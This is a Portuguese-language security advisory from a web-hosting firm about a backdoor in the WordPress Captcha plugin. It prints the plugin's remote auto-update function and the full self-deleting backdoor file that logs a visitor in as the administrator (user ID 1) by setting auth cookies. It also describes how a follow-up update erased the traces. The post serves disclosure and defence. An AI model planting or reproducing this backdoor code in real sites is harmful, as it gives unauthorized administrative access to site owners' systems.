Backdoor no Captcha Plugin, afeta sites de WordPress Global.

O repositório do WordPress recentemente removeu o plugin Captcha sobre o que inicialmente parecia ser um problema de marca registrada com o autor atual usando “WordPress”  [Nota dos editores: a página original foi removida, agora estamos ligando a uma captura de tela.] Na sua marca nome.

Sempre que o repositório do WordPress remove um plugin com uma grande base de usuários, verificamos se é possivelmente devido a algo relacionado à segurança. A HostCuritiba alerta seus Clientes e usuários quando qualquer plugin que eles estão executando é removido do repositório do WordPress também.

No momento da sua remoção, a Captcha tinha mais de 300.000 instalações ativas, de modo que sua remoção afeta significativamente muitos usuários. Embora o desenvolvedor tenha sido a pessoa que postou sobre o motivo de remoção do plugin, eu decidi olhar para a fonte do plugin para ver se houve algum jogo sujo por parte do desenvolvedor. Encontrei o seguinte código:

function cptch_wp_plugin_auto_update()
{
require_once (‘cptch_wp_auto_update.php’);
global $cptch_plugin_info;
$wptuts_plugin_current_version = $cptch_plugin_info[‘Version’];
$wptuts_plugin_remote_path = ‘https://simplywordpress.net/captcha/captcha_pro_update.php’;
$wptuts_plugin_slug = plugin_basename(__FILE__);
new cptch_wp_auto_update($wptuts_plugin_current_version, $wptuts_plugin_remote_path, $wptuts_plugin_slug);
}

Este código desencadeia um processo de atualização automática que baixa um arquivo ZIP https://simplywordpress[dot]net/captcha/captcha_pro_update.php, depois extrai e se instala sobre a cópia do Captchaplugin que está sendo executado no site. O ZIP contém algumas pequenas alterações de código do que está no repositório de plugins, e também contém um arquivo chamado plugin-update.php, que é um backdoor:

@unlink(__FILE__);
require(‘../../../wp-blog-header.php’);
require(‘../../../wp-includes/pluggable.php’);
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by(‘login’, $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}

Um arquivo de backdoor permite que um invasor, ou neste caso, um autor de plug-in, obtenha acesso administrativo não autorizado ao seu site. Esse backdoor cria uma sessão com ID de usuário 1 (o usuário de administrador padrão que o WordPress cria quando você o instala pela primeira vez), define cookies de autenticação e, em seguida, exclui-se.

O código de instalação do backdoor não é autenticado, o que significa que qualquer um pode ativá-lo. Vamos editar esta publicação para incluir uma prova de conceito após 30 dias com detalhes técnicos sobre como funciona a instalação e a execução da porta traseira.
Uma das outras alterações no arquivo ZIP é uma atualização para o URL usando o mesmo processo de atualização automática que o desenvolvedor usou para instalar o backdoor:

$wptuts_plugin_remote_path = ‘https://simplywordpress.net/captcha/captcha_pro_update.php’;
$wptuts_plugin_remote_path = ‘https://simplywordpress.net/captcha/captcha_free_update.php’;

O código removido https://simplywordpress[net]net/captcha/captcha_free_update.phpé idêntico ao que está no repositório de plugins, de modo que desencadear o mesmo processo de atualização automática remove todos os traços do sistema de arquivos do backdoor, fazendo com que pareça que nunca esteve lá e ajudando o invasor a evitar a detecção.

 

hostcuritiba

A HOSTCURITIBA é uma empresa de Hospedagem de Sites, Registro de domínios e especializada em apoio técnico e proteção de servidores para hospedagem em nuvem. Apoio 24x7 e monitoramento grátis para seu site. Central de vendas (41) 3014-8891 - [email protected]